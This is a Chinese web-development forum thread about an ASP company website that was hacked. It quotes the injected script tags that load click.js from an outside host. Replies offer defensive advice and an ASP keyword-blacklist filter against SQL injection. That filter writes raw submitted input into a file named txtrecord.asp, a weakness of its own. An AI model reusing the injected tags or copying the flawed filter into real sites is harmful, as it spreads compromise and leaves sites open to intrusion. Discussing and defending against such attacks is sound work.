一个黑客攻击我们的企业站，称所有asp开发的语言都差！居然那么不狂

[weihanmingwhmwhm]

放的网码！！

<script language="javascript" src="http://ccon.ezua.com/click.js?id=625478035&logo=3"></script><script language="javascript" src="http://ccon.ezua.com/click.js?id=625478035&logo=3"></script>


<script language="javascript" src="http://ccon.ezua.com/click.js?id=625478035&logo=3"></script>

[lijie9693]

[Quote=引用 16 楼 Edwingu 的回复:]
asp不差
1.防注入
2.防FTP传马
3.文件只读,权限设置
4.JF ^_^
[/Quote]

[iamXiaMi]

你自己机器中毒了..~~~

[chang1216]

Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
''自定义需要过滤的字串,用 "防" 分隔
'Fy_In = "''防;防cmd防and防exec防insert防select防delete防update防count防*防%防chr防mid防master防truncate防char防declare防<防>防=防|防-防_"
Fy_In = """防'防;防cmd防and防exec防insert防select防delete防update防count防*防%防chr防mid防master防truncate防char防declare防<防>防=防|防_防<iframe>防</iframe>"
Fy_Inf = split(Fy_In,"防")
'For Fy_Xh=0 To Ubound(Fy_Inf)
' response.write Fy_Inf(Fy_Xh) & "<br>"
'next
If Request.Form<>"" Then
For Each Fy_Post In Request.Form

For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
Response.Write "对不起!!您试图输入恶意代码!!我们将对您的ip进行相应的处理！"
Response.Write "本站已经给您做了如下记录↓<br>"
Response.Write "操作ＩＰ："&Request.ServerVariables("REMOTE_ADDR")&"<br>"
if Request.ServerVariables("HTTP_X_FORWARDED_FOR")=null or Request.ServerVariables("HTTP_X_FORWARDED_FOR")="" then
Response.Write "内网ＩＰ："&Request.ServerVariables("REMOTE_ADDR")&"<br>"
else
Response.Write "内网 ＩＰ：" &Request.ServerVariables("HTTP_X_FORWARDED_FOR") &"<br>"
end if

Response.Write "操作时间："&Now&"<br>"
Response.Write "操作页面："&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式：ＰＯＳＴ<br>"
Response.Write "提交参数："&Fy_Post&"<br>"
Response.Write "提交数据："&Request.Form(Fy_Post)
txtRecord Request.ServerVariables("REMOTE_ADDR"),Request.ServerVariables("HTTP_X_FORWARDED_FOR"),now,Request.ServerVariables("URL"),"ＰＯＳＴ",Fy_Post,Request.QueryString(Fy_Post)
Response.End
End If
Next
Next
End If
If Request.QueryString<>"" Then
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
Response.Write "对不起!!您试图输入恶意代码!!我们将对您的ip进行相应的处理！<br>"
Response.Write "非法操作！本站已经给您做了如下记录↓<br>"
Response.Write "操作ＩＰ："&Request.ServerVariables("REMOTE_ADDR")&"<br>"
if Request.ServerVariables("HTTP_X_FORWARDED_FOR")=null or Request.ServerVariables("HTTP_X_FORWARDED_FOR")="" then
Response.Write "内网ＩＰ："&Request.ServerVariables("REMOTE_ADDR")&"<br>"
else
Response.Write "内网 ＩＰ：" &Request.ServerVariables("HTTP_X_FORWARDED_FOR") &"<br>"
end if
Response.Write "操作时间："&Now&"<br>"
Response.Write "操作页面："&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式：ＧＥＴ<br>"
Response.Write "提交参数："&Fy_Get&"<br>"
Response.Write "提交数据："&Request.QueryString(Fy_Get)
txtRecord Request.ServerVariables("REMOTE_ADDR"),Request.ServerVariables("HTTP_X_FORWARDED_FOR"),now,Request.ServerVariables("URL"),"ＧＥＴ",Fy_Get,Request.QueryString(Fy_Get)
Response.End
End If
Next
Next
End If
function txtRecord(daliIP,neibuIP,lczNow,lczPage,lczPostOrGet,lczCanshu,lczData)
if neibuIP="" or neibuIP=null then
neibuIP=daliIP
end if
dim fso,stream
path=server.MapPath("txtrecord.asp")
set fso=server.CreateObject("Scripting.filesystemobject")
if not fso.fileexists(path) then
set stream=fso.createtextfile(path,true)
stream.writeline("操作IP 操作IP1 操作时间 操作页面 提交方式 提交参数 提交数据")
set stream=nothing
end if
Set filelcz = fso.GetFile(path)
Set ts = filelcz.OpenAsTextStream(8, -2)
ts.writeline daliIP&" "&neibuIP&" "&lczNow&" "&lczPage&" "&lczPostOrGet&" "&lczCanshu&" "&lczData
ts.close
set ts=nothing
set filelcz=nothing
set fos=nothing
end function

[tantaiyizu]

呵呵

[weihanmingwhmwhm]

[Quote=引用 3 楼 yunbao 的回复:]
script language="javascript"
这是js代码 我帮你顶一个
[/Quote]


有编辑器的

[极品懒人]

过滤不足

[jack09596]

关注一下

[xri13]

那是木马 你在conn里面写防止注入sql的就行了
文件只读,权限设置
在写23楼的代码就差不多了

[weihanmingwhmwhm]

[Quote=引用 23 楼 chang1216 的回复:]
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
''自定义需要过滤的字串,用 "防" 分隔
'Fy_In = "''防;防cmd防and防exec防insert防select防delete防update防count防*防%防chr防mid防master防truncate防char防declare防 <防>防=防 ¦防-防_"
Fy_In = """防'防;防cmd防and防exec防insert防select防delete防update防count防*防%防chr防mid防master防truncate防char防declare防 <防>防=防 ¦防_防 <iframe>防 </iframe>"…
[/Quote]

这个能解决吗？

[chinastorm]

利用SQL注入实现的？

[weihanmingwhmwhm]

如何注入，有时我后台都删了，才免一会，噢，好气人！

[yunbao]

script language="javascript"
这是js代码 我帮你顶一个

[yongyong184]

网站中是不是用了编辑器了``
编辑器中是有很多致命的漏洞的``

[yyusnO]

强烈鄙视放马的~
做一下安全检查吧~

[yifanwu]

很多人没有办法解决，可是有办法有时间有精力有能力B4

[Atai-Lu]

我是来接分的

[Jack_Senlan]

哎，ASP不是大家想的那样，现在傻了吧

[forplay]

[Quote=引用 8 楼 Jack_Senlan 的回复:]


哎，ASP不是大家想的那样，现在傻了吧
[/Quote]

ASP很差吗？

[mrshelly]

该交的学费,还是要缴的.....

不是随便写点代码,就可以做WEB开发了....

WEB 安全,,多关注些吧....

[haiyun365]

3.文件只读,权限设置